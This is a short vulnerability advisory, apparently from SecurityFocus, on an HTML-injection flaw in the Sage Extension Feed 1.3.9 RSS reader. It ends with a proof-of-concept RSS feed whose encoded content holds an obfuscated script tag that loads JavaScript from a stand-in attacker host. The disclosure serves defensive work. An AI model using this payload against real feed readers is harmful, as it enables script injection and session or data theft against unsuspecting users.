source: https://www.securityfocus.com/bid/22493/info

Sage Extension Feed is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Hostile HTML and script code may be injected into vulnerable sections of the application. When viewed, this code may be rendered in the browser of a user viewing a malicious RSS feed.

Sage Extension Feed 1.3.9 is vulnerable to this issue; prior versions may also be affected. 

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"


<channel>
<title>test</title>
<link>http://www.example.com/</link>
<description>test</description>
<item>
<title>test</title>
<content:encoded><![CDATA[
<SCRIPT/=''SRC='http://atackersite/xss.js'></SCRIPT>
]]>
</content:encoded>
</item>
</channel>
</rss>